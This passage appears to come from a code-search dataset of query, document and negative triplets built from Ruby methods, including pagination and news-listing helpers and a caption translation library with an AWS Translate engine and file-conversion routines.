[ "def page_links_next\n @page_links_next ||= \"Next &gt;\"\n end", "def next_and_previous_links_listitems(work, chapter)\n links = next_and_previous_links(work, chapter)\n links.collect {|link| \"<li>\" + link + \"</li>\\n\"}\n end", "def top_news_sources\n\n end", "def next_and_previous_links(work, chapter)\n if logged_in? && current_user.is_author_of?(work)\n number_of_chapters = work.chapters.in_order.size \n chapter_position = work.chapters.in_order.index(chapter)\n else\n number_of_chapters = work.chapters.posted.in_order.size \n chapter_position = work.chapters.posted.in_order.index(chapter)\n end\n links = []\n \n links << link_to_chapter(\"First Chapter\", work, 0)\n links << (chapter_position == 0 ? \n \"Previous Chapter\" : \n link_to_chapter(\"Previous Chapter\", work, chapter_position-1))\n links << (chapter_position == (number_of_chapters - 1) ? \n \"Next Chapter\" : \n link_to_chapter(\"Next Chapter\", work, chapter_position+1))\n links << link_to_chapter(\"Last Chapter\", work, number_of_chapters-1)\n end", "def last_news\n limit = @opts[:limit] || 3\n entries = DcNews.only(:created_by_name, :link, :subject, :created_at)\n .where(active: true) \n .order_by(created_at: -1).limit(limit).to_a\n\n entries.inject('') do |result, element|\n result << @parent.link_to(\"/news/#{element.link}\") do \n %Q[<div>\n <span class=\"date\">#{@parent.dc_pretty_date(element.created_at)} : </span>\n <span class=\"title\">#{element.subject}</span>\n </div>].html_safe\n end\n end\nend", "def get_news_list(page=1)\n news_list = []\n doc = Nokogiri::HTML(open(\"#{URL}?p=#{page}\"))\n doc.xpath(\"//body//table[@id='hnmain']//table[@class='itemlist']//tr\").select{|tr| tr['class'].in? ['athing', nil]}.each_slice(2) do |nodes|\n title_node, meta_node = nodes\n next if title_node.nil? || meta_node.nil?\n\n id = title_node.xpath(\"./td\").first&.content&.gsub('.', '').to_i\n title = title_node.xpath(\"./td[@class=$t]/a\", nil, t: 'title').first&.content\n site = title_node.xpath(\"./td[@class=$t]/span/a\", nil, t: 'title').first&.content\n original_url = title_node.xpath(\"./td[@class=$t]/a\", nil, t: 'title').first['href']\n original_url = is_internal_link?(original_url) ? \"#{SITE}/#{original_url}\" : original_url\n\n score = meta_node.xpath(\"./td[@class=$t]/span[@class=$c]\", nil, t: 'subtext', c: 'score').first&.content&.split(' ')&.first&.to_i\n user = meta_node.xpath(\"./td[@class=$t]/a[@class=$c]\", nil, t: 'subtext', c: 'hnuser').first&.content\n created_time = meta_node.xpath(\"./td[@class=$t]/span[@class=$c]\", nil, t: 'subtext', c: 'age').first&.content\n comments = meta_node.xpath(\"./td[@class=$t]/a[last()]\", nil, t: 'subtext').first&.content&.split(' ')&.first\n begin\n detail_doc = Nokogiri::HTML(open(original_url))\n rescue\n # TODO notify admin\n next # skip this news\n end\n\n cover_image = (img = detail_doc.xpath(\"//meta[@property='og:image']\").first) ? img['content'] : nil\n cover_image ||= (img = detail_doc.xpath(\"//img\").first) ? img['src'] : nil\n cover_image = URI.join(original_url, cover_image).to_s if cover_image.present?\n # default cover image of news\n cover_image ||= \"https://news.ycombinator.com/y18.gif\"\n content = detail_doc.xpath(\"//p\").map(&:content)\n\n news = {\n id: id,\n title: title,\n site: site,\n original_url: original_url,\n score: score,\n user: user,\n created_time: created_time,\n comments: comments,\n cover_image: cover_image,\n content: content\n }\n\n news_list.push(news)\n end\n news_list\n end", "def view_last_news_helper\n out = ''\n @news = Newse.joins(:city).where('cities.subdomain' => request.subdomain).order('created_at desc').limit(8)\n if !@news.empty?\n @news.each do |news|\n out += \"<li>\"\n out += \"<em class='date'>#{news.created_at}</em>\"\n out += \"#{link_to news.name, {:controller => :tidings, :action=>:show, :id => news.id, :subdomain => request.subdomain}}\"\n out += \"</li>\"\n end\n else\n out += \"<li>Извините, новостей не добавлено!\"\n out += \"</li>\"\n end\n out.html_safe\n end", "def news_links\n visit LIST_URL\n\n links = doc.css(\".listing ul li a\").collect do |anchor|\n link = Link.new\n link.title = anchor.text\n link.url = URI::join(LIST_URL, anchor[\"href\"]).to_s\n link\n end\n links\n end", "def view_more(pages = 1)\n page_num = 0\n loop do\n yield\n\n next_link = @page.link_with(text: 'More')\n break if page_num > pages || !next_link\n\n page_num += 1\n @page = next_link.click\n end\n end", "def next_page\n anchors = get_url.css(\"a.paginatorActive\")\n if anchors.last.children[0].text == \"volgende\"\n @url = anchors.last.attributes[\"href\"].value\n else\n @url = \"\"\n end\n end", "def news_list_to_html(news)\n H.section(:id => \"newslist\") {\n aux = \"\"\n news.each{|n|\n aux << news_to_html(n)\n }\n aux\n }\n end", "def news_to_html(news)\n return H.article(:class => \"deleted\") {\n \"[deleted news]\"\n } if news[\"del\"]\n domain = news_domain(news)\n news = {}.merge(news) # Copy the object so we can modify it as we wish.\n news[\"url\"] = \"/news/#{news[\"id\"]}\" if !domain\n upclass = \"uparrow\"\n downclass = \"downarrow\"\n if news[\"voted\"] == :up\n upclass << \" voted\"\n downclass << \" disabled\"\n elsif news[\"voted\"] == :down\n downclass << \" voted\"\n upclass << \" disabled\"\n end\n H.article(\"data-news-id\" => news[\"id\"]) {\n H.a(:href => \"#up\", :class => upclass) {\n \"&#9650;\"\n }+\" \"+\n H.h2 {\n H.a(:href=>news[\"url\"]) {\n H.entities news[\"title\"]\n }\n }+\" \"+\n H.address {\n if domain\n \"at \"+H.entities(domain)\n else \"\" end +\n if ($user and $user['id'].to_i == news['user_id'].to_i and\n news['ctime'].to_i > (Time.now.to_i - NewsEditTime))\n \" \" + H.a(:href => \"/editnews/#{news[\"id\"]}\") {\n \"[edit]\"\n }\n else \"\" end\n }+\n H.a(:href => \"#down\", :class => downclass) {\n \"&#9660;\"\n }+\n H.p {\n \"#{news[\"up\"]} up and #{news[\"down\"]} down, posted by \"+\n H.username {\n H.a(:href=>\"/user/\"+H.urlencode(news[\"username\"])) {\n H.entities news[\"username\"]\n }\n }+\" \"+str_elapsed(news[\"ctime\"].to_i)+\" \"+\n H.a(:href => \"/news/#{news[\"id\"]}\") {\n news[\"comments\"]+\" comments\"\n }\n }+\n if params and params[:debug] and $user and user_is_admin?($user)\n \"id: \"+news[\"id\"].to_s+\" \"+\n \"score: \"+news[\"score\"].to_s+\" \"+\n \"rank: \"+compute_news_rank(news).to_s+\" \"+\n \"zset_rank: \"+$r.zscore(\"news.top\",news[\"id\"]).to_s\n else \"\" end\n }+\"\\n\"\n end", "def next_link\n text = template.content_tag(:span, template.translate(\"previous\", :default => \"Next >\"))\n unless last_page?\n template.link_to text, next_url, :class => \"next\"\n else\n template.content_tag :span, text, :class => \"next disabled\"\n end\n end", "def previous_next(current_post, div = 'item_hierarchy', title = 'Hierarchy: ', show_titles = false, prev_text = 'previous', next_text = 'next', append_left = '', append_right = '', separator = ', ')\n links = ''\n # run the queries\n @previous = Post.find_previous(current_post)\n @next = Post.find_next(current_post)\n if @previous.length > 0 or @next.length > 0\n # we've got something either before or after us\n # start building the links\n links += (div != '' ? '<div class=\"' + div + '\">' : '') + title\n for post in @previous\n # grab the previous link if we've got one\n links += (append_left != '' ? append_left + ' ' : '') + link_to((show_titles ? post.title : prev_text), Post.permalink(post), :title => 'Previous post')\n end\n for post in @next\n # grab the next link if we've got one\n # if there was a previous link, we should add a space and such first\n links += (@previous.length > 0 ? separator : '') + link_to((show_titles ? post.title : next_text), Post.permalink(post), :title => 'Next post') + (append_right != '' ? ' ' + append_right : '')\n end\n # all done!\n return links + (div != '' ? '</div>' : '')\n else\n # no previous or next links\n return ''\n end\n rescue\n # whoops!\n return ''\n end", "def news_to_html(news)\n return H.article(:class => \"deleted\") {\n \"[deleted news]\"\n } if news[\"del\"]\n domain = news_domain(news)\n news = {}.merge(news) # Copy the object so we can modify it as we wish.\n news[\"url\"] = \"/news/#{news[\"id\"]}\" if !domain\n upclass = \"uparrow\"\n downclass = \"downarrow\"\n if news[\"voted\"] == :up\n upclass << \" voted\"\n downclass << \" disabled\"\n elsif news[\"voted\"] == :down\n downclass << \" voted\"\n upclass << \" disabled\"\n end\n H.article(\"data-news-id\" => news[\"id\"]) {\n H.a(:href => \"#up\", :class => upclass) {\n \"&#9650;\"\n }+\" \"+\n H.h2 {\n H.a(:href=>news[\"url\"], :rel => \"nofollow\") {\n H.entities news[\"title\"]\n }\n }+\" \"+\n H.address {\n if domain\n \"at \"+H.entities(domain)\n else \"\" end +\n if ($user and $user['id'].to_i == news['user_id'].to_i and\n news['ctime'].to_i > (Time.now.to_i - NewsEditTime))\n \" \" + H.a(:href => \"/editnews/#{news[\"id\"]}\") {\n \"[edit]\"\n }\n else \"\" end\n }+\n H.a(:href => \"#down\", :class => downclass) {\n \"&#9660;\"\n }+\n H.p {\n H.span(:class => :upvotes) { news[\"up\"] } + \" up and \" +\n H.span(:class => :downvotes) { news[\"down\"] } + \" down, posted by \" + \n H.username {\n H.a(:href=>\"/user/\"+URI.encode(news[\"username\"])) {\n H.entities news[\"username\"]\n }\n }+\" \"+str_elapsed(news[\"ctime\"].to_i)+\" \"+\n H.a(:href => \"/news/#{news[\"id\"]}\") {\n comments_number = news[\"comments\"].to_i\n if comments_number != 0\n \"#{news[\"comments\"] + ' comment'}\" + \"#{'s' if comments_number>1}\"\n else\n \"discuss\"\n end\n }+\n if $user and user_is_admin?($user)\n \" - \"+H.a(:href => \"/editnews/#{news[\"id\"]}\") { \"edit\" }+\" - \"+H.a(:href => \"http://twitter.com/intent/tweet?url=#{SiteUrl}/news/#{news[\"id\"]}&text=\"+URI.encode(news[\"title\"])+\" - \") { \"tweet\" }\n else \"\" end\n }+\n if params and params[:debug] and $user and user_is_admin?($user)\n \"id: \"+news[\"id\"].to_s+\" \"+\n \"score: \"+news[\"score\"].to_s+\" \"+\n \"rank: \"+compute_news_rank(news).to_s+\" \"+\n \"zset_rank: \"+$r.zscore(\"news.top\",news[\"id\"]).to_s\n else \"\" end\n }+\"\\n\"\nend", "def parse\n super\n if next_page_url\n @doc = get_document(URI(\"http://tivolihifi.com\" + next_page_url))\n self.parse\n end\n self\n end", "def previous\n @news_item = @news_item.previous_version\n show\n end", "def index\n @numberOfItem = 8\n @pageNumber = 1\n if params.has_key?(:p)\n @pageNumber = params[\"p\"].to_f\n end\n @lastPage = New.all.length / @numberOfItem + 1\n if @pageNumber == @lastPage\n @news = New.all.order('created_at DESC').first(@numberOfItem*@pageNumber).last(New.all.length - (@pageNumber-1)*@numberOfItem)\n else\n @news = New.all.order('created_at DESC').first(@numberOfItem*@pageNumber).last(@numberOfItem) \n end\n end", "def prevnext\n if @page == 1\n puts \" | next >\"\n elsif @page == @number_page \n puts \" < prev | \"\n else\n puts \" < prev | next >\"\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Method to set a translation engine +translator+ Instance of translation engine. Refer to `engines/aws` for example ==== Raises `InvalidInputException` when the argument `translator` is not an instance of Translator class
def set_translator(translator) if translator && !(translator.is_a? Translator) raise InvalidInputException.new("Argument is not an instance of Translator") end end
[ "def translator=(translator)\n @@translator = translator\n end", "def translator\n @translator ||= Translator.new\n end", "def translator\n @@translator ||= Translator.new\n end", "def configure(&block)\n unless provider\n raise 'Translation provider not selected yet. Use `Lit::CloudTranslation' \\\n '.provider = PROVIDER_KLASS` before calling #configure.'\n end\n provider.tap do |p|\n p.configure(&block)\n end\n end", "def add_translator(type, &block); end", "def translator\n Translator.new(resource, service)\n end", "def using_translator(attr_trans)\n @single_attribute_translator = attr_trans\n return self\n end", "def add_translator( type, &block ) # :yields: type, value\n @translators[ type_name( type ) ] = block\n end", "def to(text, lang:, type: :html)\n Translator::Service.pick(@service || @default_service).translate(text, lang, type)\n end", "def initialize(options)\n access_key_id = nil\n secret_access_key = nil\n @region = options[:region] || DEFAULT_REGION\n if options[:env]\n access_key_id = ENV[\"AWS_ACCESS_KEY_ID\"]\n secret_access_key = ENV[\"AWS_SECRET_ACCESS_KEY\"]\n elsif options[:access_key_id] && options[:secret_access_key]\n access_key_id = options[:access_key_id]\n secret_access_key = options[:secret_access_key]\n end\n if access_key_id && secret_access_key\n Aws.config.update({\n region: options[:region] || DEFAULT_REGION,\n credentials: Aws::Credentials.new(access_key_id, secret_access_key)\n })\n elsif options[:profile]\n credentials = Aws::SharedCredentials.new(profile_name: options[:profile])\n Aws.config.update({\n region: @region,\n credentials: credentials.credentials\n })\n else\n raise Translator::EngineInitializationException.new(\n \"Failed to initialize Aws Engine. Credentials are missing / not provided\")\n end\n @translate_service = Aws::Translate::Client.new(region: @region)\n @comprehend_service = Aws::Comprehend::Client.new(region: @region)\n end", "def initialize(options)\n access_key_id = nil\n secret_access_key = nil\n @region = options[:region] || DEFAULT_REGION\n if options[:env]\n access_key_id = ENV[\"AWS_ACCESS_KEY_ID\"]\n secret_access_key = ENV[\"AWS_SECRET_ACCESS_KEY\"]\n elsif options[:access_key_id] && options[:secret_access_key]\n access_key_id = options[:access_key_id]\n secret_access_key = options[:secret_access_key]\n end\n if access_key_id && secret_access_key\n Aws.config.update({\n region: options[:region] || DEFAULT_REGION,\n credentials: Aws::Credentials.new(access_key_id, secret_access_key)\n })\n elsif options[:profile]\n credentials = Aws::SharedCredentials.new(profile_name: options[:profile])\n Aws.config.update({\n region: @region,\n credentials: credentials.credentials\n })\n else\n raise Translator::EngineInitializationException.new(\n \"Failed to initialize Aws Engine. Credentials are missing / not provided\")\n end\n @translate_service = Aws::Translate::Client.new(region: @region)\n @comprehend_service = Aws::Comprehend::Client.new(region: @region)\n @transcribe_service = Aws::TranscribeService::Client.new(region: @region)\n @s3 = Aws::S3::Resource.new\n end", "def translate(input_text, src_lang, target_lang)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement translate\"\n end", "def set_translation_key(tkey)\n self.translation_key = tkey\n self.language = tkey.application.language(locale)\n end", "def set_translator\n user = User.find params[:id]\n if user.account.translator?\n user.account.update(account_type: \"free\")\n else\n user.account.update(account_type: \"translator\")\n end\n redirect_to \"/yonetim/user/#{user.id}\"\n end", "def set_translation\n if params[:locale].blank? && session[:current_locale].present?\n ::I18n.locale = session[:current_locale]\n elsif params[:locale].present? && ::I18n.available_locales.include?(params[:locale].to_sym)\n session[:current_locale] = ::I18n.locale = params[:locale]\n elsif current_alchemy_user && current_alchemy_user.respond_to?(:language) && current_alchemy_user.language.present?\n ::I18n.locale = current_alchemy_user.language\n else\n ::I18n.locale = request.env['HTTP_ACCEPT_LANGUAGE'].try(:scan, /^[a-z]{2}/).try(:first) || ::I18n.default_locale\n end\n end", "def store_translation(translation, service_id=0)\n translations.create(:text => translation, :service_id => service_id)\n end", "def set_translation(locale, translation, value)\n SimpleTranslationEngine.set_translation(locale, \"alert_#{self.id}_#{translation}\", value)\n end", "def set_Engine(value)\n set_input(\"Engine\", value)\n end", "def set_translation\n locale = if locale_change_needed?\n available_locale || ::I18n.default_locale\n else\n session[:alchemy_locale]\n end\n ::I18n.locale = session[:alchemy_locale] = locale\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Method to translate the caption from one language to another +src_lang+ can be inferred using infer_language method +target_lang+ Target 2 letter ISO language code to which the source needs to be translated in to. +output_file+ Output file. Can be a fully qualified path or just file name ==== Raises InvalidInputException shall be raised if 1. The input file doesn't exist or is unreadable or is invalid caption 2. The output file can't be written 3. The target_lang is not a valid ISO 6391 Letter Language code
def translate(src_lang, target_lang, output_file) # Check if a non empty output file is present and error out to avoid # the danger or overwriting some important file !! if File.exists?(output_file) && File.size(output_file) > 0 raise InvalidInputException.new("Output file #{output_file} is not empty.") else # Just open the file in writable mode and close it just to ensure that # we can write the output file File.open(output_file, "w") {|f| } end # Check if the file is writable ? unless File.writable?(output_file) raise InvalidInputException.new("Output file #{output_file} not writable.") end # Further checks can be done only in caption specific implementations # or translation engine specific implementation end
[ "def translate(input_text, src_lang, target_lang)\n response = @translate_service.translate_text({ :text => \"#{input_text}\" , \n :source_language_code => \"#{src_lang}\", :target_language_code => \"#{target_lang}\"})\n response.translated_text\n end", "def translate(input_text, src_lang, target_lang)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement translate\"\n end", "def convert\n # TODO: implementation\n output_file = choose_output\n return if output_file.nil?\n Converter.translate(@file, output_file)\n log(\"File conversion finished\")\n end", "def translate_input_text\n if self.language\n self.output_text = self.language.translate(self.input_text)\n else\n self.output_text = self.input_text\n end\n end", "def translated_msg(translate, message, src_lang, target_lang)\n return message unless translate \n use_src = nil \n if (src_lang.nil? || src_lang.empty?)\n # We don't need to infer again and again\n begin\n @inferred_src_lang ||= infer_languages.first\n rescue StandardError => e \n raise LangDetectionFailureException.new(\"Failed to infer language due to #{e.message}\")\n end\n use_src = @inferred_src_lang\n else\n use_src = src_lang\n end\n return message if use_src.eql?(target_lang)\n @translator.translate(message, use_src, target_lang)\n end", "def translate_to_file(source, to_locale)\n target = translation_target_file(source, to_locale)\n return source unless target\n translate(target, to_locale)\n save_resource_file(target)\n end", "def translate(file, to_locale)\n file = resource_file(file)\n to_locale = build_locale(to_locale)\n\n # do nothing if target language is the same as source language\n return file if file.locale.language == to_locale.language\n\n texts = texts_from_file(file)\n unless @dry_run\n collection = @translator.translate(texts, to_locale)\n update_properties(file, to_locale, collection)\n end\n file\n end", "def transform_to(types, src_lang, target_lang, output_dir)\n if (types - supported_transformations).size != 0\n raise InvalidInputException.new(\"Unknown types provided for conversion in input #{types}\")\n end\n unless File.directory?(output_dir)\n FileUtils.mkdir_p(output_dir)\n end\n # Basic validations\n if types.include?(TYPE_SCC)\n if target_lang && !target_lang.eql?(\"en\")\n raise InvalidInputException.new(\"SCC can be generated only in en. #{target_lang} is unsupported\")\n end\n end\n end", "def translate_file(inp, literal=false)\n pn = Pathname.new(inp)\n # check file exists\n if pn.exist?\n # open and read\n text = File.open(inp).read\n ruleset = text.gsub(/\\r\\n?/, \"\\n\").split(\"\\n\") # split into rules\n out = \"\"\n # feed rules into converter and put output into variable\n ruleset.each { |rule| out << \"#{Phomo2Sce.new(rule).to_sce(literal)}\\n\" }\n out # return translated file\n else\n puts \"Error! Could not find file with path #{inp}\"\n end\nend", "def generate(dest_lang, source, source_lang, make_file = true, force_file = false, lenient_mode = true, custom_file_path = nil)\n\n\t\terror_and_exit \"Please supply first argument as a Symbol\" unless dest_lang.class == Symbol\n\n\t\t@language = dest_lang\n\t\tif @@target_languages.include?(@language)\n\t\t\t# may proceed\n\t\t\t# TODO other target languages, e.g. C#, Python\n\t\telse\n\t\t\terror_and_exit \"Cannot generate language #{@language}; can only generate #{@@target_languages.join(\", \")}\"\n\t\tend\n\t\t@extension = set_file_extension_for_language\n\n\t\t@mode = source_lang.to_sym\n\t\tif @@input_modes.include?(@mode)\n\t\t\t# may proceed\n\t\telse\n\t\t\terror_and_exit \"Cannot parse input language #{@mode}; can only parse #{@@input_modes.join(\", \")}\"\n\t\tend\n\n\t\t# TODO other input languages, e.g. XML, YAML\n\t\tcase @mode\n\t\twhen :json\n\t\t\tbegin\n\t\t\t\thash = JSON.parse(source)\n\t\t\trescue JSON::ParserError => e\n\t\t\t\terror_and_exit \"Could not parse supplied string as JSON. Error message : #{e.message}\"\n\t\t\tend\n\t\telse\n\t\t\terror_and_exit \"Cannot parse mode #{@mode}\"\n\t\tend\n\n\t\t# If we have read in an array instead of a hash, then take the first element of the array\n\t\t# This assumes that each element in this top-level array has the same structure, which is reasonable\n\t\tif hash.class == Array && hash.size > 0\n\t\t\thash = hash.shift\n\t\tend\n\n\t\terror_and_exit \"Input file did not have a hash / map of key-value pairs; could not parse\" unless hash.class == Hash\n\n\t\terror_and_exit \"Input file hash / map was empty\" if hash.empty?\n\n\t\ttop_level_classname = generate_top_level_name\n\t\toutput_classes = generate_output_classes(hash, top_level_classname).flatten # returns an array\n\n\t\t# Set the directory that the files will be written into\n\t\tif custom_file_path\n\t\t\t# This caters for both absolute & relative file paths\n\t\t\tfile_path = File.absolute_path(custom_file_path)\n\t\telse\n\t\t\tfile_path = Dir.getwd\n\t\tend\n\n\t\t# Track the names of the classes/files we have written so far\n\t\twritten_file_names = []\n\n\t\tif make_file\n\t\t\toutput_classes.each do |out|\n\t\t\t\tname = out[:name_with_ext]\n\t\t\t\t# Check the name against the files we have already written\n\t\t\t\tif written_file_names.include?(name)\n\t\t\t\t\tif lenient_mode\n\t\t\t\t\t\t# Let us increment the name, e.g. \"data.rb\" -> \"data_1.rb\", \"data_2.rb\", etc.\n\t\t\t\t\t\tincrement = 1\n\t\t\t\t\t\tnew_name = name.gsub(@extension, \"_#{increment}#{@extension}\")\n\t\t\t\t\t\twhile written_file_names.include?(new_name)\n\t\t\t\t\t\t\tincrement += 1\n\t\t\t\t\t\t\tnew_name = name.gsub(@extension, \"_#{increment}#{@extension}\")\n\t\t\t\t\t\tend\n\t\t\t\t\t\tname = new_name\n\t\t\t\t\telse\n\t\t\t\t\t\tmessage = \"Want to generate output file #{name}, but a file with that name has already been written by this process. Your SON structure contains 2+ different classes with the same name\"\n\t\t\t\t\t\terror_and_exit(message) \n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tfilename = file_path + File::SEPARATOR + name\n\t\t\t\tcontents = out[:contents]\n\t\t\t\tunless force_file\n\t\t\t\t\terror_and_exit \"Want to generate output file #{name}, but that file already exists\" if File.exists?(name)\n\t\t\t\tend\n\t\t\t\tFile.open(filename, \"w+\") do |f|\n\t\t\t\t\tf.puts contents\n\t\t\t\tend\n\t\t\t\twritten_file_names << name\n\t\t\t\tputs \"Wrote out file #{name}\"\n\t\t\tend\n\n\t\t\tputs \"Please inspect generated code files and adjust names and types accordingly\"\n\t\tend\n\t\toutput_classes\n\tend", "def translate(lang)\n template = @templates_dir + 'lang/en.yml'\n new_lang = Dir.home + '/.budik/lang/' + lang + '.yml'\n FileUtils.cp template, new_lang\n open_file(new_lang)\n end", "def translate q, target=@target_lang, source=@source_lang\n return \"[#{source}->#{target}]#{q.to_s}\"\n end", "def translate q, target=@target_lang, source=@source_lang\n \n # Pull out any interpolate variables contained in braces {}, and save them\n interpolated_vars = []\n q = q.to_s.gsub(/{[^{}]*?}/) do |var|\n interpolated_vars << var\n next \"{}\"\n end\n \n # Build a google translate API params hash\n params = {\n\t \"q\": q,\n\t \"source\": source,\n\t \"target\": target,\n \"format\": \"text\"\n }\n \n # Get the translation from the google API, and re-insert the interpolated variables\n self.send(params).gsub(/{[^{}]*?}/) { |var| interpolated_vars.shift }\n end", "def process_file(filename, locale, output_locale)\n\n def assemble(templ, local)\n # If already assembling the string\n return local unless templ.is_a?(Hash)\n\n # If templ is a hash but local is nil, it means that the entire current \n # branch is not yet translated. Therefore create an empty hash to act as\n # placeholder\n local = {} if local.nil?\n\n # Recursing to traverse hash\n pairs = templ.collect { |k, v| [k, assemble(v, local[k])] }\n Hash[pairs]\n end\n\n def validate(node, path)\n if node.nil?\n puts \"Warning: path #{path} is nil. \"\n return\n end\n\n return unless node.is_a?(Hash)\n\n node.each { |k, v| validate(v, \"#{path}.#{k}\") }\n end\n\n puts \"Processing file #{filename} of locale #{locale}. \"\n\n # Directories\n locales_dir = Rails.root.join('config/locales')\n templ_dir = locales_dir.join('template')\n local_dir = locales_dir.join(locale)\n output_dir = locales_dir.join(output_locale)\n\n # Loading template\n templ_file = templ_dir.join(filename)\n templ = YAML::load_file(templ_file)['template']\n\n # If the topmost level of the template is not 'template'\n if !templ\n puts \"Warning: Template is nil for #{filename}. Aborting for this file. \"\n return\n end\n\n # Loading localized YAML\n local_file = local_dir.join(filename)\n local = File.exists?(local_file) ? YAML::load_file(local_file)[locale] : {}\n\n # Alert for new file creation\n puts \"Warning: Creating new file #{filename} of locale #{locale}. \" unless File.exists?(local_file)\n\n # Assemble localized strings into template file\n assembled = assemble(templ, local)\n\n # Validate to find missed translations\n validate(assembled, locale)\n\n # Output to file\n output_file = output_dir.join(filename)\n FileUtils.mkdir_p output_file.dirname\n content = {locale => assembled}.to_yaml\n File.open(output_file, 'w') { |f| f.write(content) }\n\n end", "def convert_local_file input_file,output_filename,output_format\n begin\n \n if input_file == \"\"\n raise(\"input file not specified\")\n end \n \n if output_filename == \"\"\n raise(\"output file not specified\")\n end\n \n if output_format == \"\"\n raise(\"output format not specified\")\n end\n \n str_uri = $productURI + \"/words/convert?format=\" + output_format\n str_signed_uri = Common::Utils.sign(str_uri)\n \n response_stream = Common::Utils.uploadFileBinary(input_file, str_signed_uri) \n \n valid_output = Common::Utils.validate_output(response_stream)\n \n if valid_output == \"\"\n \n if output_format == \"html\"\n saveformat = \"zip\"\n else\n saveformat = output_format\n end\n \n if output_filename == \"\"\n output_filename = Utils::get_filename(input_file) + \".\" + saveformat\n end\n \n output_path = $OutPutLocation + output_filename\n Common::Utils.saveFile(response_stream,output_path)\n return \"\"\n else\n return valid_output\n end\n \n rescue Exception=>e\n print e \n end \n end", "def ensure_source_processed(translated_filename)\n return unless $SOURCE.empty?\n\n source_filename = File.dirname(translated_filename) + '/en.yml'\n source_contents = File.read(source_filename)\n original_source = YAML.safe_load(source_contents)\n convert_source('', original_source['en'])\nend", "def create_file(src_type, dest_type, output_file, target_lang)\n file = nil\n done = false\n begin\n # Create the file in overwrite mode\n file = File.open(output_file, \"w\")\n\n # Dump the initial info into the file to start off with\n case dest_type\n when AllFather::TYPE_SCC\n file.write(\"Scenarist_SCC V1.0\\n\\n\")\n\n when AllFather::TYPE_SRT\n file.write(\"NOTE #{CREDITS}\\n\\n\")\n\n when AllFather::TYPE_VTT\n file.write(\"WEBVTT\\n\\n\")\n file.write(\"NOTE #{CREDITS}\\n\\n\")\n\n when AllFather::TYPE_TTML\n target_lang ||= \"\"\n # TODO: Move this to a template file and load from there !!\n data = <<-EOF\n<tt xml:lang=\"\" xmlns=\"http://www.w3.org/ns/ttml\">\n <head>\n <metadata xmlns:ttm=\"http://www.w3.org/ns/ttml#metadata\">\n <ttm:desc>#{CREDITS}</ttm:desc>\n </metadata>\n </head>\n <body>\n <div xml:lang=\\\"#{target_lang}\\\">\n EOF\n file.write(data)\n\n when AllFather::TYPE_DFXP\n target_lang ||= \"\"\n data = <<-EOF\n<tt xml:lang=\"\" xmlns=\"http://www.w3.org/2004/11/ttaf1\">\n <head>\n <meta xmlns:ttm=\"http://www.w3.org/2004/11/ttaf1#metadata\">\n <ttm:desc>#{CREDITS}</ttm:desc>\n </meta>\n </head>\n <body>\n <div xml:lang=\\\"#{target_lang}\\\">\n EOF\n file.write(data)\n else\n raise AllFather::InvalidInputException.new(\"Not a valid type; Failed to create output file for type #{type}\")\n end\n done = true\n ensure\n file.close if file rescue nil\n end\n done\n end", "def convert_to_po( source_file_h = nil, base_file = nil, fuzzy_list = nil )\n return false unless english_header?\n\n # What we actually do depends on what was setup for us.\n # If source_file_h is nil and po_locale is nil, we are xgettext.\n # If source_file_h is nil and we have po_locale, we are msginit.\n # If we have a source_file_h, then we are msgunfmt.\n action = :msgunfmt\n action = :msginit if source_file_h.nil? && po_locale\n action = :xgettext if source_file_h.nil? && po_locale.nil?\n\n # lang_en serves as the master reference for all output, especially\n # comments and metadata.\n lang_en = PoHeaderFile.new(@@default_en)\n return false unless lang_en.source_file\n\n # untranslated_items serves as the source for *untranslated* strings.\n # This differs from lang_en in that we may overwrite some of the\n # lang_en strings from the base_file, later. This can help when\n # translating, e.g., regional formats.\n untranslated_items = lang_en.items.clone\n if base_file\n lang_base = PoHeaderFile.new(base_file)\n return false unless lang_base.source_file\n untranslated_items.merge!(lang_base.items)\n end\n\n # We will use lang_source if we have a source_file_h, i.e., msgunfmt,\n # as the source for *translated* strings.\n if source_file_h\n lang_source = PoHeaderFile.new(source_file_h)\n return false unless lang_source.source_file\n else\n lang_source = nil\n end\n\n\n # If we were given a fuzzy_list and we have a source_file, then\n # we have to mark appropriate items as fuzzy.\n if fuzzy_list && fuzzy_list.count > 0 && lang_source\n untranslated_items.each do |key, value|\n if fuzzy_list.include?(key)\n value.each_value do |v|\n v[:fuzzy] = true\n end\n end\n\n end\n end\n\n # The information in the PO header can come from a few different sources\n # depending on what we're doing.\n header_plural_forms = nil\n header_pot_line = nil\n header_translate_to = nil\n\n if action == :xgettext\n header_plural_forms = \"Plural-Forms: nplurals=#{lang_en.plural_count}; plural=#{lang_en.plural_form}\"\n header_pot_line = \"POT-Creation-Date: #{DateTime.now.strftime('%Y-%m-%d %H:%M:%S')}\"\n header_translate_to = lang_en.items[:TIDY_LANGUAGE]['0'][:string].tr('\"', '')\n\n end\n if action == :msginit\n header_plural_forms = \"Plural-Forms: #{known_locales[po_locale.to_sym][:plural_form]}\"\n header_pot_line = \"PO-Revision-Date: #{DateTime.now.strftime('%Y-%m-%d %H:%M:%S')}\"\n header_translate_to = po_locale\n end\n if action == :msgunfmt\n header_plural_forms = \"Plural-Forms: nplurals=#{lang_source.plural_count}; plural=#{lang_source.plural_form}\"\n header_pot_line = \"PO-Revision-Date: #{DateTime.now.strftime('%Y-%m-%d %H:%M:%S')}\"\n header_translate_to = lang_source.items[:TIDY_LANGUAGE]['0'][:string].tr('\"', '')\n end\n\n header_plural_count = header_plural_forms.match(/nplurals=(.*?);/i)[1].to_i - 1\n\n # We'll use this closure to perform a repetitive task in the report.\n item_output = lambda do | label, string |\n result = ''\n if string.lines.count > 1\n result << \"#{label} \\\"\\\"\\n\"\n result << \"#{string}\\n\"\n else\n result << \"#{label} #{string}\\n\"\n end\n result\n end\n\n\n report = <<-HEREDOC\nmsgid \"\"\nmsgstr \"\"\n\"Content-Type: text/plain; charset=UTF-8\\\\n\"\n\"Language: #{header_translate_to}\\\\n\"\n\"#{header_plural_forms}\\\\n\"\n\"X-Generator: HTML Tidy #{File.basename($0)}\\\\n\"\n\"Project-Id-Version: \\\\n\"\n\"#{header_pot_line}\\\\n\"\n\"Last-Translator: #{ENV['USER']}#{ENV['USERNAME']}\\\\n\"\n\"Language-Team: \\\\n\"\n\n 